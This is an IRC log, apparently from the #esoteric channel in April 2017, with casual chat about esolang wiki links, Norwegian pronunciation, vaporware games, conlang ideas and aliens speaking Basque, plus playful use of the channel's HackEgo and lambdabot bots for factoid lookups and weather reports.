is yourself 00:21:34 -!- sparr has joined. 00:23:20 -!- Marcela_Gandara has quit (Quit: Leaving.). 00:27:36 zombo.com is too good 00:39:25 -!- ruut has joined. 00:49:26 -!- Phantom_Hoover has quit (Quit: Leaving). 01:00:13 -!- ruut has quit (Quit: Leaving). 01:37:03 -!- Marcela_Gandara has joined. 01:59:05 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 02:03:10 -!- Marcela_Gandara has quit (Quit: Leaving.). 02:11:05 -!- Cale has quit (Ping timeout: 246 seconds). 02:22:31 -!- augur has joined. 02:26:29 -!- augur has quit (Ping timeout: 240 seconds). 02:30:45 [wiki] [[Binary lambda calculus]] https://esolangs.org/w/index.php?diff=51637&oldid=43479 * Oerjan * (+43) /* External resources */ Wikigone 02:32:38 good grief those typos 02:34:56 I kind of wish HackEgo linked to the page itself rather than the edit. 02:35:18 Most of the time that's what I want to click on. 02:35:30 Why does everyone keep saying that. 02:35:33 I suppose the situation is different for people who aren't morally opposed to editing wiki pages. 02:35:47 * oerjan swats shachaf -----### 02:36:22 fizzie: it would have been nice if the link at least had a prefix that went to the page itself 02:36:36 shachaf: mind you, the edit contains the page hth 02:37:01 > length "https://esolangs.org/wiki/" - length "[[]]" 02:37:03 22 02:37:27 It would only cost 22 characters (and fewer bytes), unless you had characters that need to be escaped. 02:37:44 The link looks uglier than the title. 02:38:01 you could drop the [wiki] too 02:38:18 Yeah, that's a little superfluous. 02:38:19 oerjan: But then how would people /ignore it? 02:38:36 I suppose there could be another indicator. 02:39:02 although what i was really meaning was the /w/index.php part... why not have the actual page name there. although that might not help you people who click directly on irc links 02:39:44 It could be useful to logreaders. 02:39:53 fizzie: truth is uglier than fiction hth 02:39:55 5 w 02:40:00 1/3:word salad detector//Our only word salad detectors before fungot proposed bright full speed under the mediterranean guadalope a light sauce impertinent used the best brains of codeine fragments emerge from the red arrow shark-repellant housewife a smattering and yes I said yes I will Yes. \ os//Os is the accusative plural of us. Also 02:40:03 n 02:40:04 2/3:a municipality in Norway. \ thausiblee//A thausiblee is the recipient of a thausible action. \ ramen//拉麵是一種類型的麵條縫製從原始樹木。 \ @messages-loud//@messages-loud @messages-fond / @messages-flood @messages-bond // @messages-lousy @messages-sound / @messages-lost @messages-found // @messages-proud @messages-b 02:40:08 n 02:40:09 3/3:old / @messages-good @messages-gold 02:40:47 cat bin/5 02:40:48 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: cat: not found 02:40:52 er 02:40:54 cat bin/5 02:40:55 cmd="{1-quote}"; \^ 5 "cmd" 02:41:16 I see 02:41:36 -!- Melvar has quit (Ping timeout: 240 seconds). 02:41:40 I can guess, but… 02:41:43 cat bin/^ 02:41:44 cat bin/^ 02:41:44 ​[[ # == 2 ]] || { echo "Usage: 0 n cmd" >&2; exit 2; }; for ((i=0; i < 1; i++)); do \ "2"; done | sport 02:41:44 ​[[ # == 2 ]] || { echo "Usage: 0 n cmd" >&2; exit 2; }; for ((i=0; i < 1; i++)); do \ "2"; done | sport 02:42:02 -!- Melvar has joined. 02:42:12 slwd os//s/Also.*/Alsø a village in Denmark./ 02:42:14 os//Os is the accusative plural of us. Alsø a village in Denmark. 02:43:21 ? @messages-loud 02:43:22 ​@messages-loud @messages-fond / @messages-flood @messages-bond // @messages-lousy @messages-sound / @messages-lost @messages-found // @messages-proud @messages-bold / @messages-good @messages-gold 02:43:25 I see 02:43:59 jade plate / six eight 02:44:06 fire that burns hot / night that is not 02:44:12 fire that burns cold / first silver then gold 02:44:19 slwd os//s, Ånd a Norwegian spirit., 02:44:20 ​/bin/sed: -e expression #1, char 29: unterminated s' command 02:44:32 slwd os//s,,Ånd a Norwegian spirit., 02:44:34 os//Os is the accusative plural of us. Alsø a village in Denmark.Ånd a Norwegian spirit. 02:44:37 argh 02:44:50 oerjan: maybe s/is // hth 02:44:55 slwd os//s,Å, Å, 02:44:56 os//Os is the accusative plural of us. Alsø a village in Denmark. Ånd a Norwegian spirit. 02:45:34 Hmm, or maybe just adding commas. 02:45:48 After the first words of the second and third sentences. 02:46:17 doesn't work for the third i think 02:46:36 maybe barely 02:46:57 At least it's not outright iggrammatical. 02:47:14 both Å and Ö occur as placenames in Sweden 02:47:28 (they are both also words for geographical features) 02:49:02 learn Ä is a Swedish geographical feature. 02:49:04 Learned 'Ä': Ä is a Swedish geographical feature. 02:49:19 ? england 02:49:20 England is [EXPUNGED]. 02:49:31 dowg england 02:49:39 773:2012-10-06 learn England is [EXPUNGED]. \ 769:2012-10-06 learn England \ 768:2012-10-06 learn England is a country in southern Britain, with capital Hexham. The people there are all punctuation fascists. ais523 looks after the Turing machines. 02:49:59 hm 02:50:10 learn England is a conspiracy of cartographers. 02:50:12 Relearned 'england': England is a conspiracy of cartographers. 02:51:11 oerjan is apparently working for The Man 02:51:17 or perhaps oerjan is The Man 02:58:31 * oerjan keeps shachaf down 02:59:55 oerjan: Oh, you meant it doesn't work if you interpret the word "Ånd" as the English word "And". 03:00:01 I just figured that out. 03:00:18 But why would you do that? 03:00:51 i,i Moreover, a subsidiary of LexisNexis. 03:01:33 i thought that was the whole point of Alsø 03:02:04 It was part of the point. 04:02:29 -!- hppavilion[1] has joined. 04:08:08 -!- Zarutian has quit (Quit: Zarutian). 04:12:22 hellone 04:12:47 helloc 04:15:43 hellørjan 04:16:01 btw how is that name pronounced? 04:25:23 rdococ: /²øɾjɑn/ hth 04:25:53 er 04:25:54 wut 04:26:00 ²? 04:26:03 IPA hth 04:26:10 pitch accent hth 04:26:55 https://en.wikipedia.org/wiki/Norwegian_phonology#Accent hth 04:28:26 (my dialect is northern hth) 05:28:28 -!- Cale has joined. 05:34:13 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 05:59:10 -!- augur has joined. 06:03:43 -!- augur has quit (Ping timeout: 256 seconds). 06:08:53 oerjan: http://www.smbc-comics.com/comic/a-beer-gut hth 06:16:50 -!- augur has joined. 06:17:02 -!- augur has quit (Remote host closed the connection). 06:27:16 -!- augur has joined. 06:29:26 -!- oerjan has quit (Quit: Nite). 06:30:42 -!- MoALTz has joined. 06:36:53 -!- augur has quit (Remote host closed the connection). 06:38:29 shachaf: I want to merge two puns about IPA but I couldn't find a proper execution. 06:57:23 -!- IRCFrEAK has joined. 07:00:05 -!- IRCFrEAK has left. 07:05:20 -!- hppavilion[1] has joined. 07:08:00 -!- augur has joined. 07:10:10 -!- hppavilion[0] has joined. 07:13:08 -!- hppavilion[1] has quit (Ping timeout: 246 seconds). 07:20:18 -!- FreeFull has quit. 07:28:45 -!- augur has quit (Remote host closed the connection). 07:36:44 -!- augur has joined. 07:40:49 -!- augur has quit (Ping timeout: 240 seconds). 07:42:38 -!- augur has joined. 08:33:24 -!- augur has quit (Remote host closed the connection). 08:38:26 -!- augur has joined. 08:38:58 -!- augur has quit (Remote host closed the connection). 08:48:30 -!- augur has joined. 08:52:24 -!- augur has quit (Remote host closed the connection). 08:53:09 -!- sirnaysayer has quit (Ping timeout: 258 seconds). 08:55:57 -!- augur has joined. 09:01:13 -!- augur has quit (Remote host closed the connection). 09:10:00 -!- augur has joined. 09:14:09 -!- augur has quit (Ping timeout: 240 seconds). 09:20:08 -!- sirnaysayer has joined. 09:30:24 -!- AnotherTest has joined. 09:52:41 -!- MoALTz_ has joined. 09:55:35 -!- MoALTz has quit (Ping timeout: 264 seconds). 10:04:43 -!- augur has joined. 10:23:32 -!- hppavilion[0] has quit (Ping timeout: 246 seconds). 11:13:04 -!- dingbat has quit (Quit: Connection closed for inactivity). 11:35:07 -!- augur has quit (Remote host closed the connection). 11:35:32 -!- boily has joined. 11:37:08 oh, I didn't know norwegin had two separate pitches too 11:43:38 -!- augur has joined. 11:48:01 -!- augur has quit (Ping timeout: 260 seconds). 11:50:21 wisdom 11:50:22 pidgin//The pidgin hole principle states that if n+1 messages are sent over n protocols, then at least two messages are sent over the same protocol. 11:54:38 the signals are very strong tonight 11:54:59 -!- sirnaysayer has quit (Ping timeout: 264 seconds). 11:56:26 -!- sirnaysayer has joined. 12:19:44 -!- augur has joined. 12:23:58 -!- augur has quit (Ping timeout: 240 seconds). 12:25:21 -!- boily has quit (Quit: HEAD CHICKEN). 12:55:54 -!- augur has joined. 13:00:24 -!- augur has quit (Ping timeout: 258 seconds). 13:08:20 -!- augur has joined. 13:11:50 -!- Lord_of_Life has quit (Excess Flood). 13:12:31 -!- h0rsep0wer has joined. 13:15:29 -!- Lord_of_Life has joined. 13:16:44 -!- Lord_of_Life has quit (Excess Flood). 13:19:29 -!- Lord_of_Life has joined. 13:19:36 [wiki] [[Funciton]] M https://esolangs.org/w/index.php?diff=51638&oldid=51406 * Timwi * (+0) /* Lazy-evaluated sequences */ 13:21:18 -!- Lord_of_Life has quit (Excess Flood). 13:51:24 -!- contrapumpkin has quit (Remote host closed the connection). 13:51:34 -!- AnotherTest has quit (Ping timeout: 268 seconds). 14:03:23 -!- augur has quit (Remote host closed the connection). 14:05:05 -!- Zarutian has joined. 14:05:45 -!- Zarutian has quit (Read error: Connection reset by peer). 14:05:48 -!- Zarutian has joined. 14:09:21 -!- augur has joined. 14:11:37 -!- AnotherTest has joined. 14:13:31 -!- augur has quit (Ping timeout: 240 seconds). 14:16:25 -!- augur has joined. 14:20:58 -!- augur has quit (Ping timeout: 260 seconds). 14:29:32 what signals? 14:47:03 -!- ^_^v has joined. 14:50:28 -!- h0rsep0wer has quit (Quit: Leaving). 14:50:44 Is there a forgetful functor from the category of metric spaces to the category of topological spaces? 15:09:33 -!- augur has joined. 15:19:07 -!- augur has quit (Remote host closed the connection). 15:25:35 -!- augur has joined. 15:26:02 -!- augur has quit (Remote host closed the connection). 15:34:37 -!- augur has joined. 15:58:32 -!- Zarutian has quit (Quit: Zarutian). 16:14:18 -!- MoALTz_ has changed nick to MoALTz. 16:33:31 -!- AnotherTest has quit (Read error: Connection reset by peer). 16:35:42 -!- AnotherTest has joined. 16:36:36 -!- Zarutian has joined. 16:37:11 -!- Zarutian has quit (Read error: Connection reset by peer). 16:38:46 -!- Zarutian has joined. 16:47:25 -!- augur has quit (Remote host closed the connection). 16:47:59 -!- augur has joined. 16:48:54 . o O ( bananas ) 16:50:13 -!- augur has quit (Read error: Connection reset by peer). 16:52:27 -!- augur has joined. 16:52:30 -!- longerstaff13 has joined. 16:53:48 /heı/ 16:53:51 hi 16:53:58 /haı/ 16:55:30 /la:ŋgəstæf/ 16:57:18 -!- augur has quit (Ping timeout: 260 seconds). 16:57:21 ... 16:57:47 yeah I probably did that wrong 17:00:23 -!- Phantom_Hoover has joined. 17:00:23 -!- Phantom_Hoover has quit (Changing host). 17:00:23 -!- Phantom_Hoover has joined. 17:00:59 starwars 17:01:03 Nute Gunray 17:13:18 ? starwars 17:13:19 starwars? ¯\(°​_o)/¯ 17:13:23 is it a name generator? 17:14:31 int-e: no, it's just a list of less than 100 character names 17:14:38 like 70 or something 17:14:46 Nute is a real character in Star Wars 17:15:01 <\oren\> Why are they still trying to make Perl 6 happen? 17:15:13 only the most important characters are included, not the ten thousand characters named in Star Wars universe 17:15:14 <\oren\> It's never going to happen 17:15:26 \oren\: it's useful as a comparison to show how to make a bad language 17:15:39 as in, how to make a language that's already designed as bad, 17:15:44 not just got bad as time passed by it 17:38:29 -!- AnotherTest has quit (Ping timeout: 260 seconds). 17:51:15 -!- augur has joined. 17:55:28 -!- augur has quit (Ping timeout: 240 seconds). 18:06:21 We also need a new prime example of vaporware now that Duke Nukem Forever is released. 18:07:03 -!- AnotherTest has joined. 18:07:03 -!- DHeadshot has joined. 18:07:22 Or should I say Hurd, hmm. 18:08:25 I hurd ya the first time 18:08:51 -!- augur has joined. 18:13:06 -!- augur has quit (Ping timeout: 240 seconds). 18:44:52 -!- augur has joined. 18:48:39 does anyone else here remember, 'ride a spider' functionality of AltaVista? does any other search engine have that feature? (Basically you get a stream of urls) 18:49:10 int-e: whatchamean that Duke Nukem Forever has been released? 18:49:24 It was. It was not Forever. 18:49:25 -!- augur has quit (Ping timeout: 260 seconds). 18:50:06 then it has not been released then. 18:50:19 September 1993 has not ended then. 18:53:20 We also need a new prime example of vaporware now that Duke Nukem Forever is released. 18:53:26 you've not heard of star citizen then i take it 18:53:37 -!- Zarutian has quit (Read error: Connection reset by peer). 18:55:10 . o O ( 2011, wow, I didn't think it's been that long. ) 18:55:11 -!- Zarutian has joined. 18:56:29 SC was supposed to be delivered in 2014; currently the smart money is on it being called finished by 2020 at the earliest 18:57:03 annpunced 2012, initial release date 2015... nah it's just not the same 18:57:24 i mean it's the DNF of the kickstarter/early access era 18:57:38 the 'initial release' is like a fiftieth of the promised game 18:57:48 I guess it makes the funding croud quite angry though 18:57:59 well that's the thing, at this stage they're still not angry 18:58:05 crowd. 18:58:13 -!- hppavilion[0] has joined. 18:58:19 because they ~mostly think that all the promised content will be released 'when it's done' 18:58:43 . o O ( Oh, like Game of Thrones then :-P ) 18:59:22 And by "Game of Thrones" I mean "A Song of Ice and Fire". 19:00:14 lol 19:00:32 well it's unlike asoiaf in that asoiaf was once good 19:00:48 whereas SC has gone through about 3 iterations of its core gameplay and they've all been terrible 19:04:03 Hm. You know what'd be interesting? 19:04:14 A story that both uses and subverts Aliens Speaking English 19:04:54 Describe how a story might both use and subvert, perhaps? 19:05:01 The Aliens, through some miracle of the universe, aren't on the other side of an unsurmountable chasm of linguistic distinction 19:06:44 You can understand them and they can understand you PERFECTLY well, assuming you speak Basque 19:06:46 hellovilion[0] 19:06:48 (or maybe Cornish or something) 19:06:51 -!- hppavilion[0] has changed nick to hppavilion[1]. 19:06:52 hezzo38 19:06:58 hint-e 19:07:11 phellom_hoover 19:07:14 g Nker inf pavn15ab1c0786ce189247 19:07:19 Hm, weird 19:07:34 OK, there we go 19:07:44 Ah, OK 19:07:55 I wonder if that compromises my password enough that I should change it 19:07:56 hppavilion[1], you read tvtropes too much 19:07:58 I probably should 19:08:05 Phantom_Hoover: You don't read tvtropes enough 19:08:16 i read tvtropes plenty in my time 19:09:31 when you can only talk about fiction in terms of tropes and subversions, though, you've read it too much 19:09:39 Oh, Thimbleweed Park had a cute 25 pledge level. 19:09:59 It'd be really interesting, I think, because you'd be able to have easy communication with the Aliens, but not easy, right-out-of-the-box discussion 19:10:23 (also, it would probably be some arcane variant on Basque, not just a literal usage) 19:10:30 I no longer read tvtropes, but I sometimes read (and also sometimes edit) All The Tropes. Not all the time though; only sometimes (and probably not too much, either) 19:10:32 (Alienese:Basque::Scots:English) 19:10:47 Yes I like that idea too 19:11:00 <\oren\> What if the aliens are just humans from Atlantic 19:11:05 <\oren\> s/ic/is 19:11:29 \oren\: Atlantis is in the Atlantic, is it not? 19:11:42 If so, what was the Pacific version of Atlantis? Pacifis? 19:11:54 <\oren\> yes, and basque is spoken on the atlantic coast of spain 19:11:57 (Were they all Pacifists?) 19:11:59 \oren\: Ah 19:12:04 -!- augur has joined. 19:12:23 I think Basque would be a good choice, because it's an earthly language, but not an easy one to learn- you can't draw *any* parallels except for maybe some loanwords 19:12:41 [or, you can't draw any *meaningful* parallels] 19:12:44 . o O ( Basque in silence ) 19:12:44 [AFAWK] 19:12:47 OK 19:13:20 So you'd have to either relearn communication from scratch or find a speaker, which is itself interesting because there aren't a very large number of Basque speakers 19:13:53 (Cornish is my second choice because it's a dead language that we have record of) 19:14:17 <\oren\> they finally land and the presidents of the world powers are expecting some kind of well, aliens, but they guy gets out and he just looks like a southern european 19:14:46 <\oren\> 19:14:58 \oren\: No, it would be a woman who gets out. 19:15:05 \oren\: Ooh! Or a man in drag. 19:15:30 "What? This is normal. (muttering) Buncha prudes" 19:16:18 You can even justify Aliens Speaking Basque because you can say that's where we got the language. That's why it isn't related to any others. 19:17:29 https://en.wikipedia.org/wiki/Black_American_Sign_Language: The AAVE of sign language. 19:17:30 Ah, OK, yes you can make that story with the justify, it make sense 19:17:37 -!- augur has quit (Ping timeout: 256 seconds). 19:18:50 They would show up speaking Basque because they're a tiny bit racist and figure that their Master Tung would have spread to the entire population by now because it's so great. 19:18:55 hppavilion[1], I believe Cornish has to some extend been resuccitated. 19:18:56 Consider the possibility that aliens may communicate in a "Starfish Language" where they use methods other than sonar. 19:19:34 For example, aliens could communicate by tapping each other's arms. 19:19:36 Taneb: It's just *mostly* dead 19:19:50 Or, if you want to be really gross, through alien saliva. 19:20:28 * rdococ spits out inspirational alien saliva towards everyone 19:20:54 * rdococ excretes a creative pheromone. 19:21:06 Describe the points in the GURPS for defining such thing 19:21:24 -!- hppavilion[1] has changed nick to miracle_max. 19:21:26 It just so happens that your language is only mostly dead. There's a big difference between mostly dead and all dead. Please open the books. Now, mostly dead is slightly alive. Now, all dead, well, with all dead, there's usually only one thing that you can do. 19:21:38 -!- miracle_max has changed nick to InigoMontoya. 19:21:42 Phoenix Down!!! 19:21:45 What's that? 19:21:47 -!- InigoMontoya has changed nick to miracle_max. 19:21:57 Join the Catholic Church. 19:22:00 -!- miracle_max has changed nick to hppavilion[1]. 19:22:10 Or you can use any number of revival spells in variousgames. 19:22:41 <\oren\> LIF2 19:22:43 There may be limits of the revival spell in various games 19:23:01 -!- FreeFull has joined. 19:23:03 I think often is not quite good enough to revive dead languages. 19:23:13 You could press the Continue button on the Game Over screen. 19:23:34 <\oren\> or cast ReRaise on it before it dies 19:23:35 Or... 19:23:43 * rdococ excretes revival pheromones. 19:24:13 In a computer game yes, although I do not expect that to be good enough to revive dead languages either, only to continue the game with your character no longer dead. 19:24:30 What if your character is the language? 19:24:46 That seem strange, but, maybe the game can be made like that somehow. 19:24:50 "Super English Bros." with French, Italian and German! 19:25:23 Or, it could be a conquer-the-world type of game, but you're a language as opposed to an empire or a deadly plague. 19:25:29 <\oren\> Super Indo-European Bros 19:25:53 <\oren\> Brawl! 19:26:15 O, OK? 19:26:22 <\oren\> rdococ: you can sort of do that in EUIV 19:26:45 <\oren\> in the sense that you can culture-convert your provinces to you lead culture 19:27:14 <\oren\> so if you're muscovy you can make everyone speak Muscovite Russia 19:28:29 Do you like this? https://allthetropes.org/wiki/User:Zzo38 19:30:09 <\oren\> I remember one time I was playing as france and made the English culture extinct 19:30:33 Current English is half French anyway -.- 19:32:40 -!- augur has joined. 19:33:55 I was trying to come up with ideas for a language with some non-English sounds 19:34:01 palatal stop, palatal nasal... 19:37:30 -!- augur has quit (Ping timeout: 268 seconds). 19:39:12 -!- MoALTz has quit (Quit: Leaving). 19:41:52 <\oren\> how about a labial affricate 19:41:58 -!- ybden has quit (Excess Flood). 19:41:58 <\oren\> ("pf") 19:42:08 <\oren\> pfeffer 19:42:38 -!- ybden has joined. 19:43:30 <\oren\> or ('bv') 19:43:33 kx 19:44:33 How about I make up as many digraphs as possible that equate to the same sound? 19:45:04 If all of the words equate to the same sound then how can you know what you are meaning when you are saying? 19:45:32 Exactly! 19:45:46 <\oren\> also you would do different things with syllable structure 19:46:39 <\oren\> english does sothing along the lines of s?C[rlyw]?V[rlyw]?Cs? 19:47:21 wat 19:47:29 <\oren\> whereas Japanese does CVn? 19:47:35 well 19:47:39 I will be doing 19:47:40 idk 19:47:58 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 19:54:34 -!- orby has joined. 19:54:37 Hello all 19:55:04 I found a good one 19:55:27 CV[D/C]VCV[D/C]V where D refers to any of the various digraphs 19:55:33 and [A/B] is either A or B 19:55:39 bakanudzju 19:57:04 -!- augur has joined. 19:57:14 -!- hppavilion[1] has joined. 19:59:24 "In Soviet country, permute([sadj subj adv verb oadj obj])" 20:00:03 olo 20:01:08 Anyway, my sentence order will be random, but it will always have two O's. 20:01:23 so SOOV, SOVO, OOVS, OVOS, VOSO, etc. are allowed. 20:01:40 Kinda like set notation for ordered pairs. 20:01:41 -!- augur has quit (Ping timeout: 258 seconds). 20:01:53 <\oren\> I a pie ate a pie 20:02:06 ye 20:02:17 Lie lie is the cake 20:02:29 aw 20:02:29 gtg 20:06:22 -!- ruut has joined. 20:08:50 tmflry cake 20:08:51 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmflry: cannot execute: Is a directory 20:08:57 tomfoolery 20:08:58 I have nothing to tell you. 20:08:59 tomfoolery cake 20:09:00 I must confess, I know not of what you are speaking. 20:09:09 cat le/rn 20:09:09 sep="//" \ [[ "1" == ?*"sep"* ]] || { echo 'Usage: le/[/]rn //' >&2 ; exit 1; } \ key="(echo "{1%%sep*}" | lowercase)" \ value="{1#*sep}" \ [ -e "wisdom/key" ] && verb="Relearned" || verb="Learned" \ echo "value" > "(echo-p "wisdom/key")" && echo -n "verb 'key': (echo "value" | sed 's.^[ ].&.')" 20:09:13 cat misle/rn 20:09:14 sep="/"; [[ "0" == *//* ]] && sep="//"; [[ "1" == ?*"sep"* ]] || exit 1; key="(echo "{1%%sep*}" | lowercase)"; value="{1#*sep}"; echo "value" > "(echo-p "tmflry/key")" && echo "Was lied to about «key»" 20:09:24 paste le/rn 20:09:25 https://hackego.esolangs.org/fshg/index.cgi/file/tip/le/rn 20:09:46 paste bin/slashlern 20:09:47 https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/slashlern 20:10:02 paste ../bin/slashlern 20:10:03 https://hackego.esolangs.org/tmp/paste/paste.577 \ cat: ../bin/slashlern: No such file or directory 20:10:14 which slashlern 20:10:14 No output. 20:16:01 -!- augur has joined. 20:20:29 -!- augur has quit (Ping timeout: 240 seconds). 20:22:06 -!- ruut has quit (Quit: Leaving). 20:22:51 -!- ruut has joined. 20:23:15 -!- ruut has quit (Remote host closed the connection). 20:23:51 -!- ruut has joined. 20:25:53 -!- augur has joined. 20:29:58 -!- augur has quit (Ping timeout: 240 seconds). 20:31:28 -!- DHeadshot has quit (Ping timeout: 240 seconds). 20:32:38 @metar PAMR 20:32:39 No result. 20:32:42 @metar PAMR 20:32:42 No result. 20:32:44 Uh 20:32:49 metar PAMR 20:32:50 lambdabot: @metar PAMR 20:32:50 No result. 20:32:53 -!- ruut has quit (Quit: Leaving). 20:32:58 Is lambdabot down? 20:33:07 -!- ruut has joined. 20:33:34 Nope, looks like it's METAR itself 20:35:01 -!- ruut has quit (Client Quit). 20:35:04 metar 20:35:05 Traceback (most recent call last): \ File "/hackenv/bin/airport-lookup", line 20, in \ print '%s (%s, %s)' % (row[1], f(row[4]), f(row[5])) \ IOError: [Errno 32] Broken pipe \ lambdabot: @metar AYGA 20:35:11 @metar AYGA 20:35:11 No result. 20:35:20 -!- ruut has joined. 20:37:19 * hppavilion[1] is scared 20:37:22 is METAR broken? 20:38:36 @metar KJFK 20:38:36 No result. 20:38:43 -!- ruut has quit (Client Quit). 20:39:05 -!- ruut has joined. 20:40:42 @google lambdabot 20:40:44 https://wiki.haskell.org/Lambdabot 20:41:13 -!- ruut has quit (Client Quit). 20:44:30 -!- augur has joined. 20:49:22 -!- augur has quit (Ping timeout: 260 seconds). 20:51:34 -!- ^_^v has quit (Quit: Leaving). 20:51:45 -!- ^_^v has joined. 20:56:20 <\oren\> a singleton is an OO zealot saying penance in the form of boilerplate for the sin of using a global 20:57:17 \oren\: One time I had a job interview of some sort where the interviewer kept trying to get me to say "singleton". 20:57:44 And I kept avoiding it and saying global variable or something instead. 20:58:36 <\oren\> nice 20:58:55 It was great. 21:01:03 -!- zzo38 has quit (Remote host closed the connection). 21:02:53 -!- nycs has joined. 21:03:24 -!- ^_^v has quit (Ping timeout: 258 seconds). 21:03:28 -!- augur has joined. 21:08:47 -!- augur has quit (Ping timeout: 264 seconds). 21:13:20 -!- augur has joined. 21:16:28 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:17:58 -!- augur has quit (Ping timeout: 258 seconds). 21:21:26 The Witness is half off :D 21:22:48 -!- augur has joined. 21:27:09 -!- augur has quit (Ping timeout: 260 seconds). 21:33:15 -!- augur has joined. 21:38:22 -!- augur has quit (Ping timeout: 260 seconds). 21:56:46 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 22:27:57 I've heard it's good 22:34:57 I enjoyed it. 22:50:56 -!- boily has joined. 22:51:02 -!- DHeadshot has joined. 22:51:32 wisdom 22:51:33 superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal//Superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal is where mroman lives. 22:55:37 -!- nycs has quit (Quit: This computer has gone to sleep). 22:58:27 -!- ^_^v has joined. 22:58:27 -!- ^_^v has quit (Client Quit). 23:00:01 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:04:28 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 23:05:31 -!- Phantom_Hoover has joined. 23:07:56 helloily 23:08:03 hows ur monday 23:13:49 quinthellopia! 23:13:58 I got hit by a beep beep sheep. 23:14:16 is it mondayful on your end? 23:14:32 its fine. sitting in SFO, two hours early. 23:14:41 what is a beep beep sheep 23:16:04 https://www.youtube.com/watch?v=CZlfbep2LdU 23:16:09 @metar KSFO 23:16:09 No result. 23:18:33 ...? 23:18:42 @iaca SFO 23:18:42 Unknown command, try @list 23:18:45 @iata SFO 23:18:45 Unknown command, try @list 23:18:47 ... 23:18:49 @icao SFO 23:18:49 echo; msg:IrcMessage {ircMsgServer = "freenode", ircMsgLBName = "lambdabot", ircMsgPrefix = "boily!~alexandre@cable-192.222.245.222.electronicbox.net", ircMsgCommand = "PRIVMSG", ircMsgParams = ["# 23:18:49 esoteric",":@icao SFO"]} target:#esoteric rest:"SFO" 23:20:16 those poor sheeps their elbows bend backwards ow :( 23:25:39 @metar lowi 23:25:39 LOWI 032220Z AUTO 27004KT 200V310 9999 FEW036 SCT046 BKN050 11/07 Q1021 23:25:49 @metar ksfo 23:25:49 No result. 23:27:04 KSFO 032056Z 29015KT 10SM FEW200 19/01 A2999 RMK AO2 SLP155 T01940011 58009 hmm. 23:27:21  iata SFO # though you got it right the first time 23:27:22 San Francisco Intl (SFO, KSFO) 23:27:47 that's almost 4 hours old and lambdabot asks for an entry that's no older than 2 hours. 23:28:08 ? 23:28:41 no, that's wrong 23:28:56 shapr: I think int-e was ambivalent on The Poochness. 23:29:10 @metar ksfo 23:29:10 KSFO 032056Z 29015KT 10SM FEW200 19/01 A2999 RMK AO2 SLP155 T01940011 58009 23:29:37 ? weather 23:29:38 lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK PAMR 23:29:41 No result. \ ENVA 032220Z VRB02KT CAVOK 09/01 Q1013 RMK WIND 670FT 16006KT \ ESSB 032220Z AUTO 15005KT 9999 OVC002/// 01/00 Q1025 \ KOAK 032053Z 23011KT 10SM FEW250 19/06 A2999 RMK AO2 SLP153 23:29:41 T01940061 58010 \ No result. 23:31:04 CYUL 032000Z 10005KT 090V170 30SM FEW180 SCT220 08/M07 A3004 RMK AC1CI4 AC TR SLP176 <-- okay, this one is definitely older than 2 hours. 23:31:17 @metar CYUL 23:31:18 No result. 23:31:31 @metar KSJC 23:31:31 KSJC 032053Z 32010KT 10SM FEW100 22/03 A2997 RMK AO2 SLP147 T02220033 58015 23:31:39 life is skittles and life is beer 23:32:04 ? oerjan 23:32:05 Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance; but lately it's the only word he ever rememes. His arch-nemesis is Betty Crocker. He twice punned without noticing it. 23:32:34 but they seem to have some other problem as well 23:32:43 @metar PAMR 23:32:43 PAMR 032053Z 02007KT 10SM CLR 04/M06 A2972 RMK AO2 SLP065 T00391056 58034 23:33:37 "they" being www.aviationweather.gov 23:33:52 swrjan s/;[^\.]\+// 23:33:54 oerjan//Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it. 23:36:06 -!- Warrigal has joined. 23:36:32 omnipheasant? 23:36:50 You should complain. 23:36:53 write a letter to the editwr 23:36:59 boily: https://www.youtube.com/watch?v=g5sgsOPIN5A 23:37:08 I think if anyone is omnipheasant here, it's probably boily. 23:37:43 <\oren\> https://kpopalypse.com/2017/03/11/why-its-not-okay-to-wear-frenchface-ever/ lol 23:38:05 you could replace 'ph' by 'pl' 23:38:44 dowg oerjan 23:38:53 10582:2017-04-03 swrjan s/;[^\\.]\\+// \ 10561:2017-03-31 swrjan s/lik/s/ \ 10560:2017-03-31 swrjan s/l/h/;s/cis/decis/;s/can //;s/meme/&s/ \ 10559:2017-03-31 swrjan s.exclu.inci. \ 10558:2017-03-31 swrjan s.rant.arrant knave. \ 10531:2017-03-27 swrjan spresentpleasantp \ 10530:2 23:39:10 quintopia: I love those guys! 23:42:55 -!- augur has joined. 23:44:14 time for a mac'n'cheese, because this is the Mac'n'Cheese Week. 23:44:38 (yes, really. nonsense, but eh, who am I to complain, eh?) 23:44:51 -!- boily has quit (Quit: ORIENTED CHICKEN). 23:45:30 @tell boily why not make modified mac and cheese? https://www.youtube.com/watch?v=S6AKDODgLwU 23:45:31 Consider it noted. 23:47:28 -!- augur has quit (Ping timeout: 240 seconds). 23:49:56 -!- DHeadshot has quit (Ping timeout: 246 seconds). 23:52:19 -!- DHeadshot has joined. 23:56:57 -!- DHeadshot has quit (Ping timeout: 260 seconds). 2017-04-04: 00:04:20 -!- Warrigal has quit (Ping timeout: 258 seconds). 00:04:43 -!- Warrigal has joined. 00:16:05 -!- oerjan has joined. 00:19:18 -!- hppavilion[1] has joined. 00:20:57 \oren\: I don't know OO really. WHat does anyy of that mean? 00:21:35 * oerjan high fives hppavilion[1] 00:21:59 Is a singleton when you have an object that doesn't do anything except for store either only loosely- or entirely-unrelated data? 00:22:03 functional or bust! 00:22:03 oerjan-oriented programming 00:22:06 Instead of just 